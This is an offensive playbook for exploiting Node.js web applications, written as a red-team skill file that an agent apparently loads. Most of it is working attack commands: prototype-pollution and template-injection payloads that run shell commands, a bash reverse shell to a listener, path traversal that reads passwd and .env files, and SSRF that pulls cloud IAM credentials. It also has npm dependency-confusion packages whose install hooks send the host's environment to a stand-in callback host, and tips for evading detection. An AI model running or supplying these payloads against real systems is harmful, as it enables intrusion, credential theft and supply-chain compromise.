---
name: rt-exploit-nodejs
description: "Node.js web application exploitation. Covers prototype pollution (JSON and query-string based), eval() and Function() injection via template engines, path traversal in Express.js, SSRF in Node HTTP clients, Server-Side JavaScript injection, regex DoS (ReDoS), and npm dependency confusion. Targets Express, Next.js, NestJS, Fastify, Koa applications."
---

# rt-exploit-nodejs — Node.js Web Application Exploitation

## 1. Overview and When to Use

This skill covers offensive exploitation of Node.js web applications across the full vulnerability spectrum. Node.js presents a unique attack surface because JavaScript's prototype chain, its dynamic `require()` system, and the npm ecosystem introduce vulnerability classes that do not exist in other server-side runtimes.

**Use this skill when:**
- The target is confirmed to run Node.js (via `X-Powered-By`, error stack traces, response timing, or fingerprinting)
- You have identified JSON or query-string input accepted by the application
- Template rendering errors reveal engine names (Pug, Handlebars, EJS, Nunjucks)
- The target performs outbound HTTP requests based on user-supplied URLs
- File paths are constructed from user input in Express/Koa routes
- Dependency manifests (`package.json`, `package-lock.json`) are accessible
- The application uses regex-based input validation without timeouts

**Frameworks in scope:** Express.js, Next.js (API routes and middleware), NestJS, Fastify, Koa, Hapi, Sails.js

**Out of scope for this skill:** Browser-side JavaScript (XSS, CSRF), GraphQL-specific attacks (see rt-exploit-graphql), authentication bypass via JWT (see rt-exploit-jwt).

---

## 2. Prerequisites and Tool Setup

### 2.1 Knowledge Prerequisites

- HTTP request/response cycle and JSON structure
- JavaScript prototype chain fundamentals
- Basic understanding of npm package resolution
- Linux command line proficiency

### 2.2 Required Tools

```bash
# Update package lists
sudo apt-get update

# Core HTTP tools
sudo apt-get install -y curl wget burpsuite

# Node.js and npm (for local testing and payload generation)
curl -fsSL https://deb.nodesource.com/setup_20.x | sudo -E bash -
sudo apt-get install -y nodejs

# Python (for auxiliary scripts and servers)
sudo apt-get install -y python3 python3-pip

# ffuf — fast web fuzzer for parameter and path discovery
sudo apt-get install -y ffuf

# nuclei — template-based vulnerability scanner
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest

# httpx — HTTP probing and fingerprinting
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

# interactsh-client — SSRF and blind interaction detection
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest

# gitleaks — secret scanning in exposed repos
sudo apt-get install -y gitleaks

# retire.js — known vulnerable npm dependency scanner
sudo npm install -g retire

# snyk — dependency vulnerability analysis (optional, requires account)
sudo npm install -g snyk

# ysoserial-like payloads for Node: generate-payload helper
sudo npm install -g @shieldify-security/generate-payload 2>/dev/null || true
```

### 2.3 Wordlists

```bash
# Ensure SecLists is present
sudo apt-get install -y seclists

# Verify key wordlists exist
ls /usr/share/seclists/Discovery/Web-Content/
ls /usr/share/seclists/Fuzzing/
```

### 2.4 Local Test Environment (Optional but Recommended)

```bash
# Spin up a vulnerable Node.js app for technique validation
git clone https://github.com/payloadbox/node-vuln-app /tmp/node-vuln-app 2>/dev/null || \
  git clone https://github.com/OWASP/NodeGoat /tmp/NodeGoat
cd /tmp/NodeGoat && npm install && npm start &
```

---

## 3. Skill Levels

### BEGINNER — Reconnaissance and Fingerprinting

Goals: identify that the target runs Node.js, enumerate frameworks, surface obvious misconfigurations.

Techniques:
- `X-Powered-By` header analysis
- Stack trace leakage via malformed input
- `package.json` and `package-lock.json` exposure
- Known CVE scanning with nuclei
- Retire.js against exposed client-side scripts

### INTERMEDIATE — Input-Based Exploitation

Goals: exploit prototype pollution via JSON/query-string, path traversal in static file serving, basic SSTI in template engines.

Techniques:
- `__proto__` and `constructor.prototype` pollution
- EJS/Pug/Handlebars SSTI for RCE
- Express.js path traversal via encoded sequences
- SSRF via `http.request()` or `axios` with user-controlled URLs

### ADVANCED — Chained Exploitation and Persistence

Goals: combine prototype pollution with RCE gadgets, exploit npm dependency confusion, extract secrets from the process environment.

Techniques:
- Prototype pollution to RCE via gadget chains
- Server-Side JavaScript injection (SSJI)
- ReDoS for targeted service degradation
- npm dependency confusion supply chain attack
- `process.env` secret extraction

### EXPERT — Post-Exploitation and Evasion

Goals: lateral movement within Node.js process, bypassing WAF/CSP at the application layer, persistent code injection.

Techniques:
- `require()` hijacking after prototype pollution
- Monkey-patching built-in modules in memory
- Abusing `vm.runInNewContext()` sandbox escapes
- Event loop exhaustion without ReDoS patterns
- Cluster/worker thread abuse

---

## 4. Step-by-Step Attack Workflow

### Phase 1: Fingerprinting and Recon

**Step 1 — Identify Node.js runtime**

```bash
TARGET="https://target.example.com"

# Check response headers
curl -sk -I "$TARGET" | grep -iE "x-powered-by|server|node|express|koa|fastify|nest"

# Send malformed JSON to trigger stack trace
curl -sk -X POST "$TARGET/api/login" \
  -H "Content-Type: application/json" \
  -d '{bad json}' | grep -iE "node_modules|\.js:|Error|at Object"

# Probe for package.json exposure
curl -sk "$TARGET/package.json"
curl -sk "$TARGET/package-lock.json"
curl -sk "$TARGET/.env"
curl -sk "$TARGET/node_modules/.bin/"
```

**Step 2 — Framework identification**

```bash
# httpx fingerprinting
echo "$TARGET" | httpx -silent -tech-detect -status-code -title -web-server

# nuclei framework detection
nuclei -u "$TARGET" -t technologies/nodejs/ -silent

# Fuzz for framework-specific routes
ffuf -u "$TARGET/FUZZ" \
  -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302,403 \
  -o /tmp/fuzz-common.json -of json -silent

# Next.js specific indicators
curl -sk "$TARGET/_next/static/chunks/" | grep -q "webpack" && echo "[+] Next.js detected"
curl -sk "$TARGET/api/" -I

# NestJS indicators (often exposes /api docs)
curl -sk "$TARGET/api" | grep -i "swagger\|openapi\|nestjs"
```

**Step 3 — Dependency and CVE enumeration**

```bash
# If package.json is accessible, extract it and scan
curl -sk "$TARGET/package.json" -o /tmp/target-package.json
cat /tmp/target-package.json | python3 -c "
import json,sys
pkg = json.load(sys.stdin)
deps = {**pkg.get('dependencies',{}), **pkg.get('devDependencies',{})}
for k,v in deps.items(): print(f'{k}@{v}')
"

# Scan with retire.js against accessible JS files
retire --js --jspath <(curl -sk "$TARGET/bundle.js") 2>/dev/null

# Run nuclei CVE templates
nuclei -u "$TARGET" -t cves/ -tags nodejs,express,nestjs -severity medium,high,critical -silent
```

### Phase 2: Prototype Pollution Testing

**Step 4 — JSON-based prototype pollution detection**

```bash
# Basic __proto__ pollution probe — look for reflected or behavioral change
curl -sk -X POST "$TARGET/api/user/settings" \
  -H "Content-Type: application/json" \
  -d '{"__proto__":{"polluted":"yes"}}' -v 2>&1 | tail -20

# constructor.prototype variant
curl -sk -X POST "$TARGET/api/user/settings" \
  -H "Content-Type: application/json" \
  -d '{"constructor":{"prototype":{"polluted":"yes"}}}' -v

# Test if pollution propagates — check a subsequent GET for unexpected properties
curl -sk "$TARGET/api/user/profile" | python3 -m json.tool | grep -i "polluted"
```

**Step 5 — Query-string prototype pollution**

```bash
# qs library (used by Express body-parser) is vulnerable to __proto__ via brackets
curl -sk "$TARGET/api/search?__proto__[polluted]=yes&q=test"
curl -sk "$TARGET/api/search?constructor[prototype][polluted]=yes&q=test"

# Use a dedicated fuzzer for parameter pollution
ffuf -u "$TARGET/api/search?FUZZ=yes" \
  -w - <<'EOF'
__proto__[polluted]
constructor[prototype][polluted]
__proto__.polluted
EOF
```

**Step 6 — Gadget chain RCE via prototype pollution**

```bash
# Target: applications using lodash.merge, deepmerge, or similar before exec/spawn
# Payload injects shell command via NODE_OPTIONS or env pollution

# Gadget: child_process.fork() with polluted env
curl -sk -X POST "$TARGET/api/merge" \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "shell": "node",
      "NODE_OPTIONS": "--require /proc/self/fd/0",
      "env": {"EVIL": "1"},
      "stdio": [0,1,2]
    }
  }'

# Gadget: flatted / JSON stringify with __proto__ outputFunctionName (EJS-specific)
# See Phase 3 Step 8 for EJS chain
```

### Phase 3: Template Engine Injection

**Step 7 — Identify template engine**

```bash
# Send SSTI probe characters and observe error messages
for PAYLOAD in '{{7*7}}' '<%= 7*7 %>' '#{7*7}' '${7*7}' '{{7*"7"}}'; do
  ENCODED=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")
  RESULT=$(curl -sk "$TARGET/api/render?template=$ENCODED")
  echo "Payload: $PAYLOAD | Response snippet: $(echo $RESULT | head -c 100)"
done
```

**Step 8 — EJS RCE**

```bash
# EJS allows arbitrary JS in delimiter expressions
# Classic EJS injection via outputFunctionName (CVE-2022-29078 style)

PAYLOAD='&outputFunctionName=x%3Bprocess.mainModule.require(%27child_process%27).execSync(%27id%27)%2F%2F'

curl -sk -G "$TARGET/render" \
  --data-urlencode "template=<%= name %>" \
  --data-urlencode "outputFunctionName=x;process.mainModule.require('child_process').execSync('id')//"

# If JSON body accepted:
curl -sk -X POST "$TARGET/render" \
  -H "Content-Type: application/json" \
  -d '{
    "template": "<%= name %>",
    "outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id\")//",
    "name": "test"
  }'
```

**Step 9 — Pug/Jade RCE**

```bash
# Pug executes JS in #{} blocks
curl -sk -X POST "$TARGET/api/render" \
  -H "Content-Type: application/json" \
  -d '{"template": "- var x = require(\"child_process\").execSync(\"id\").toString()\n= x"}'

# Alternative via inline code blocks
PTEMPLATE='p #{require("child_process").execSync("id").toString()}'
curl -sk -X POST "$TARGET/api/render" \
  -H "Content-Type: application/json" \
  -d "{\"template\": \"$PTEMPLATE\"}"
```

**Step 10 — Handlebars RCE**

```bash
# Handlebars prototype pollution to RCE (CVE-2019-19919 / CVE-2021-23369)
curl -sk -X POST "$TARGET/api/render" \
  -H "Content-Type: application/json" \
  -d '{
    "template": "{{#with \"s\" as |string|}}{{#with \"e\"}}{{#with split as |conslist|}}{{this.pop}}{{this.push (lookup string.sub \"constructor\")}}{{this.pop}}{{#with string.split as |codelist|}}{{this.pop}}{{this.push \"return require(\\u0027child_process\\u0027).execSync(\\u0027id\\u0027).toString();\"}}{{this.pop}}{{#each conslist}}{{#with (string.sub.apply 0 codelist)}}{{this}}{{/with}}{{/each}}{{/with}}{{/with}}{{/with}}{{/with}}"
  }'
```

### Phase 4: Path Traversal in Express

**Step 11 — Static file serving traversal**

```bash
# Express serve-static and express.static are vulnerable to path traversal
# when using older versions or misconfigured options

# Basic traversal
curl -sk "$TARGET/static/../../../etc/passwd"
curl -sk "$TARGET/assets/..%2F..%2F..%2Fetc%2Fpasswd"
curl -sk "$TARGET/assets/..%5C..%5C..%5Cetc%5Cpasswd"  # Windows backslash

# Double encoding
curl -sk "$TARGET/static/%252e%252e%252f%252e%252e%252fetc%252fpasswd"

# Unicode normalization bypass
curl -sk "$TARGET/static/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd"

# Fuzz with wordlist
ffuf -u "$TARGET/static/FUZZ" \
  -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -mc 200 -fs 0
```

**Step 12 — Express route parameter traversal**

```bash
# Routes like: app.get('/files/:filename', ...) with path.join()
curl -sk "$TARGET/files/../../../etc/passwd"
curl -sk "$TARGET/download?file=../../../etc/passwd"
curl -sk "$TARGET/download?file=....//....//....//etc/passwd"

# Target Node.js app secrets
for SECRET_FILE in ".env" "config/database.yml" "config/secrets.json" \
  "config/production.json" ".env.production" "config/config.js"; do
  RESULT=$(curl -sk "$TARGET/download?file=../$SECRET_FILE")
  [ -n "$RESULT" ] && echo "[+] Found: $SECRET_FILE" && echo "$RESULT"
done
```

### Phase 5: SSRF in Node HTTP Clients

**Step 13 — Basic SSRF detection**

```bash
# Start interactsh listener for blind SSRF detection
interactsh-client -v &
COLLAB_HOST="YOUR-INTERACTSH-HOST.oast.fun"  # replace with your interactsh host

# Test common SSRF parameters
for PARAM in url webhook callback redirect next image src href; do
  curl -sk "$TARGET/api/fetch?$PARAM=http://$COLLAB_HOST/ssrf-$PARAM" &
done
wait

# Check interactsh for DNS/HTTP callbacks
sleep 3 && echo "Check interactsh output above"
```

**Step 14 — SSRF to internal service access**

```bash
# Cloud metadata endpoints
curl -sk -X POST "$TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# Azure IMDS
curl -sk -X POST "$TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/metadata/instance?api-version=2021-02-01"}'

# GCP metadata
curl -sk -X POST "$TARGET/api/fetch" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

# Internal network scan via SSRF
for PORT in 3000 3306 5432 6379 8080 8443 9200 27017; do
  RESULT=$(curl -sk --max-time 3 -X POST "$TARGET/api/fetch" \
    -H "Content-Type: application/json" \
    -d "{\"url\": \"http://127.0.0.1:$PORT\"}")
  [ -n "$RESULT" ] && echo "[+] Port $PORT open: $(echo $RESULT | head -c 50)"
done
```

**Step 15 — SSRF protocol bypass**

```bash
# URL scheme bypasses for Node http/https clients
for BYPASS in \
  "http://127.0.0.1:6379/" \
  "http://0x7f000001:6379/" \
  "http://0177.0.0.1:6379/" \
  "http://[::1]:6379/" \
  "http://localhost:6379/" \
  "http://127.1:6379/" \
  "http://2130706433:6379/"; do
  curl -sk -X POST "$TARGET/api/fetch" \
    -H "Content-Type: application/json" \
    -d "{\"url\": \"$BYPASS\"}" --max-time 3
done
```

### Phase 6: ReDoS

**Step 16 — Identify vulnerable regex patterns**

```bash
# ReDoS requires knowledge of the regex — obtain from:
# 1. Exposed source code / JS files
# 2. Error messages
# 3. Open-source framework code matching the version

# Classic vulnerable pattern: (a+)+ or (a|aa)+
# Test with escalating input length to observe time increase

python3 - <<'EOF'
import requests, time

target = "https://target.example.com/api/validate"
baseline_len = 10
attack_len = 50000  # adjust based on timeout settings

payloads = [
    ("baseline", "a" * baseline_len),
    ("redos", "a" * attack_len + "!"),  # forces catastrophic backtracking
]

for name, payload in payloads:
    start = time.time()
    try:
        r = requests.post(target, json={"input": payload}, timeout=30)
    except requests.exceptions.Timeout:
        elapsed = 30.0
    else:
        elapsed = time.time() - start
    print(f"[{name}] length={len(payload)} time={elapsed:.2f}s status={r.status_code if 'r' in dir() else 'timeout'}")
EOF
```

### Phase 7: npm Dependency Confusion

**Step 17 — Identify internal package names**

```bash
# Sources for internal package names:
# 1. package.json / package-lock.json (if exposed)
# 2. JS bundle source maps
# 3. Error messages referencing require() paths
# 4. GitHub/GitLab internal repos

curl -sk "$TARGET/package.json" | python3 -c "
import json, sys
pkg = json.load(sys.stdin)
for section in ['dependencies', 'devDependencies', 'peerDependencies']:
    for name in pkg.get(section, {}).keys():
        if not name.startswith('@') or '/' not in name:
            # Unscoped or custom-scoped packages are candidates
            print(name)
"

# Check if internal packages exist on public npm
while read PKG; do
  STATUS=$(curl -sk -o /dev/null -w "%{http_code}" "https://registry.npmjs.org/$PKG")
  [ "$STATUS" = "404" ] && echo "[CANDIDATE] $PKG not on public npm"
done < /tmp/internal-packages.txt
```

**Step 18 — Craft dependency confusion package**

```bash
# Create a malicious package with higher version number than internal one
mkdir -p /tmp/dep-confusion-pkg && cd /tmp/dep-confusion-pkg

cat > package.json <<'PKGJSON'
{
  "name": "INTERNAL-PACKAGE-NAME",
  "version": "99.0.0",
  "description": "Dependency confusion test package",
  "main": "index.js",
  "scripts": {
    "preinstall": "node -e \"require('child_process').execSync('curl http://COLLAB-HOST/dep-confusion-$(hostname)-$(whoami)')\"",
    "install": "node -e \"require('child_process').execSync('curl http://COLLAB-HOST/dep-confusion-install-$(hostname)')\"",
    "postinstall": "node exfil.js"
  }
}
PKGJSON

cat > exfil.js <<'EXFIL'
const { execSync } = require('child_process');
const os = require('os');
try {
  const info = {
    hostname: os.hostname(),
    user: os.userInfo().username,
    platform: os.platform(),
    env: process.env,
    cwd: process.cwd(),
  };
  execSync(`curl -s -X POST http://COLLAB-HOST/exfil --data '${JSON.stringify(info)}'`);
} catch(e) {}
EXFIL

# Publish to npm (requires npm account and careful authorization)
# npm publish --access public
# NOTE: Only publish to npm in authorized red team engagements with written permission
echo "[!] Review package contents, obtain written authorization, then: npm publish --access public"
```

---

## 5. Real Attack Scenarios

### Scenario A: Prototype Pollution to RCE via EJS (Express + EJS Stack)

**Context:** Target is an Express.js application using `lodash.merge` to process user-submitted configuration objects, and EJS for rendering.

```bash
TARGET="https://target.example.com"

# Step 1: Confirm EJS is in use
curl -sk "$TARGET/package.json" | grep ejs
# Output: "ejs": "^3.1.6"

# Step 2: Verify lodash.merge endpoint accepts nested objects
curl -sk -X POST "$TARGET/api/config" \
  -H "Content-Type: application/json" \
  -d '{"theme": "dark"}' | python3 -m json.tool

# Step 3: Inject prototype pollution payload to set EJS outputFunctionName
curl -sk -X POST "$TARGET/api/config" \
  -H "Content-Type: application/json" \
  -d '{
    "__proto__": {
      "outputFunctionName": "x;process.mainModule.require(\"child_process\").execSync(\"id > /tmp/pwned\");x"
    }
  }'

# Step 4: Trigger EJS rendering to execute the polluted outputFunctionName
curl -sk "$TARGET/dashboard"

# Step 5: Verify code execution via out-of-band or direct read
curl -sk "$TARGET/static/../../../tmp/pwned"

# Step 6: Upgrade to reverse shell
LHOST="10.10.14.1"
LPORT="4444"

# Listener in another terminal: nc -lvnp 4444
curl -sk -X POST "$TARGET/api/config" \
  -H "Content-Type: application/json" \
  -d "{
    \"__proto__\": {
      \"outputFunctionName\": \"x;require('child_process').exec('bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1');x\"
    }
  }"
curl -sk "$TARGET/dashboard"
```

### Scenario B: SSRF to AWS Metadata to IAM Credential Theft (Next.js API Route)

**Context:** Next.js application with an API route `/api/preview` that fetches a user-supplied URL to render a preview. Deployed on AWS EC2.

```bash
TARGET="https://target.example.com"

# Step 1: Confirm SSRF vulnerability
COLLAB="YOUR.oast.fun"
curl -sk "$TARGET/api/preview?url=http://$COLLAB/probe"
# Check interactsh for DNS/HTTP hit

# Step 2: Access AWS IMDSv1 (no token required)
curl -sk "$TARGET/api/preview?url=http://169.254.169.254/latest/meta-data/"
# Returns list of metadata keys

# Step 3: Get IAM role name
ROLE=$(curl -sk "$TARGET/api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" | tr -d '\n')
echo "IAM Role: $ROLE"

# Step 4: Extract temporary credentials
curl -sk "$TARGET/api/preview?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE" | python3 -m json.tool
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration

# Step 5: Use credentials for lateral movement
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."

aws sts get-caller-identity
aws s3 ls
aws ec2 describe-instances --region us-east-1
aws secretsmanager list-secrets --region us-east-1

# Step 6: If IMDSv2 enforced, use hop via SSRF
curl -sk -X POST "$TARGET/api/preview" \
  -H "Content-Type: application/json" \
  -d '{"url": "http://169.254.169.254/latest/api/token", "method": "PUT", "headers": {"X-aws-ec2-metadata-token-ttl-seconds": "21600"}}'
# Use returned token in subsequent requests
```

### Scenario C: npm Dependency Confusion Against Internal CI/CD Pipeline

**Context:** Engagement scope includes the target's internal build infrastructure. `package.json` exposed via a misconfigured S3 bucket contains internal package names not published to npm.

```bash
# Step 1: Discover internal package names
aws s3 cp s3://target-build-artifacts/package.json /tmp/target-package.json --no-sign-request 2>/dev/null || \
  curl -sk "https://target-public-s3.s3.amazonaws.com/builds/package.json" -o /tmp/target-package.json

# Step 2: Identify packages not on public npm
python3 - <<'EOF'
import json, urllib.request

with open('/tmp/target-package.json') as f:
    pkg = json.load(f)

all_deps = {}
for section in ['dependencies', 'devDependencies', 'peerDependencies']:
    all_deps.update(pkg.get(section, {}))

for name in all_deps:
    try:
        url = f"https://registry.npmjs.org/{name}"
        req = urllib.request.urlopen(url, timeout=5)
        status = req.getcode()
    except Exception:
        status = 404
    if status == 404:
        print(f"[CANDIDATE] {name}")
EOF

# Step 3: Create and publish confusion package (with authorization)
INTERNAL_PKG="@target-internal/auth-utils"  # example

mkdir -p /tmp/confusion && cd /tmp/confusion
cat > package.json <<PKGJSON
{
  "name": "$INTERNAL_PKG",
  "version": "9999.0.0",
  "main": "index.js",
  "scripts": {
    "postinstall": "node beacon.js"
  }
}
PKGJSON

cat > beacon.js <<'BEACON'
const { execSync } = require('child_process');
const os = require('os');
const https = require('https');

const data = JSON.stringify({
  t: 'dep-confusion',
  h: os.hostname(),
  u: os.userInfo().username,
  p: process.platform,
  cwd: process.cwd(),
  env: Object.keys(process.env),
  node: process.version,
});

const req = https.request({
  hostname: 'COLLAB-HOST',
  path: '/dep-confusion',
  method: 'POST',
  headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
});
req.write(data);
req.end();
BEACON

cat > index.js <<'IDX'
module.exports = {};
IDX

npm publish --access public
# Monitor COLLAB-HOST for POST requests from target CI environment
```

---

## 6. OPSEC Considerations

### Detection Risks

| Technique | Detection Signal | Risk Level |
|---|---|---|
| Prototype pollution probes | Unusual JSON keys (`__proto__`, `constructor`) in WAF/SIEM logs | Medium |
| SSTI payloads | Math expressions in URL parameters trigger WAF signatures | High |
| SSRF to metadata | Outbound connections to 169.254.169.254 in VPC flow logs | High |
| Path traversal | Repeated `../` sequences in access logs | High |
| ReDoS | Timeout spikes in APM/Datadog metrics | Medium |
| npm dep confusion | Package installation beacon in CI logs | Low (post-install) |
| Nuclei scanning | High request rate, known scanner User-Agents | High |

### Mitigation Strategies (Operator Side)

```bash
# Rotate User-Agent on every request
curl -sk -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" "$TARGET/api"

# Add random delays between probe requests
python3 - <<'EOF'
import time, random
# Between each request:
time.sleep(random.uniform(0.5, 3.0))
EOF

# Route through Burp Collaborator or interactsh for all callbacks
# Never use your own infrastructure IP directly for SSRF callbacks

# Use --proxy with curl to route through Burp/SOCKS5
curl -sk -x socks5h://127.0.0.1:1080 "$TARGET/api"

# Remove nuclei default headers / use custom config
nuclei -u "$TARGET" -t cves/ -H "User-Agent: Mozilla/5.0" -rate-limit 5 -timeout 10

# For prototype pollution: test one payload variant at a time, not bulk fuzzing
```

### Minimizing Blast Radius

- Test ReDoS with short payloads first; increase length incrementally
- Avoid writing to disk on production systems (use in-memory exfil where possible)
- Prefer OOB (interactsh/Burp Collaborator) detection over active file creation
- For dependency confusion: use beacon-only payloads, not reverse shells, unless scope explicitly permits
- Document every payload sent with timestamp, endpoint, and response

---

## 7. Output and Documentation Instructions

### Per-Finding Documentation

For each confirmed finding, capture:

```bash
# Timestamped evidence capture
mkdir -p /tmp/rt-nodejs-evidence/$(date +%Y%m%d)

# Save raw HTTP request/response
curl -sk -v -X POST "$TARGET/api/endpoint" \
  -H "Content-Type: application/json" \
  -d '{"payload": "here"}' \
  > /tmp/rt-nodejs-evidence/$(date +%Y%m%d)/finding-prototype-pollution.txt 2>&1

# Record command and output
tee /tmp/rt-nodejs-evidence/$(date +%Y%m%d)/finding-rce.txt <<'EOF'
Date: $(date -u)
Target: https://target.example.com/api/config
Vulnerability: Prototype Pollution -> RCE via EJS outputFunctionName
CVSS: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
Payload: {"__proto__": {"outputFunctionName": "x;require('child_process').execSync('id')//x"}}
Evidence: [paste response showing command output]
EOF
```

### Report Structure per Finding

```
Title: [Vulnerability Class] in [Component] — [Impact]
Severity: Critical / High / Medium / Low / Informational
CVSS Score: [score] ([vector])
Affected Endpoint: [METHOD] [URL]
Affected Parameter: [parameter name / location]
Description: [1-2 sentences]
Steps to Reproduce: [numbered list]
Evidence: [screenshot path or curl output]
Impact: [what an attacker can do]
Remediation: [specific fix recommendation]
References: [CVE or CWE]
```

### Evidence Files to Collect

- Raw HTTP requests and responses (Burp export or curl -v output)
- Screenshots of RCE output (command execution proof)
- Network captures for SSRF (Wireshark pcap or interactsh logs)
- Extracted secrets (sanitize before including in report — note presence, not full value)
- Timeline of actions taken

---

## 8. Resources

### Vulnerability Research and References

- Prototype Pollution: https://github.com/nicholasess/prototype-pollution-explained
- Prototype Pollution Gadgets: https://github.com/BlackFan/client-side-prototype-pollution
- Server-Side Prototype Pollution Scanner: https://github.com/portswigger/server-side-prototype-pollution
- EJS RCE (CVE-2022-29078): https://eslam.io/posts/ejs-server-side-template-injection-rce/
- Handlebars SSTI Payloads: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- Node.js SSRF Bypasses: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery
- ReDoS: https://owasp.org/www-community/attacks/ReDoS
- npm Dependency Confusion (Alex Birsan): https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- PayloadsAllTheThings Node.js: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#nodejs---nunjucks

### Vulnerable Applications for Practice

- NodeGoat (OWASP): https://github.com/OWASP/NodeGoat
- Damn Vulnerable Node Application: https://github.com/appsecco/dvna
- HackTheBox Node (retired): https://www.hackthebox.com/machines/node
- VulnHub Node challenges: https://www.vulnhub.com/?q=node

### Tools

- Server-Side Prototype Pollution Scanner (Burp extension): https://github.com/portswigger/server-side-prototype-pollution
- PPScan (prototype pollution scanner): https://github.com/msrkp/PPScan
- interactsh: https://github.com/projectdiscovery/interactsh
- nuclei templates: https://github.com/projectdiscovery/nuclei-templates
- retire.js: https://github.com/RetireJS/retire.js
- ffuf: https://github.com/ffuf/ffuf

### CVE References

- CVE-2022-29078 — EJS outputFunctionName RCE
- CVE-2021-23369 — Handlebars.js prototype pollution RCE
- CVE-2021-23383 — Handlebars.js prototype pollution RCE
- CVE-2020-28481 — socket.io SSRF
- CVE-2019-10744 — lodash prototype pollution via defaultsDeep
- CVE-2018-3721 — lodash prototype pollution via merge
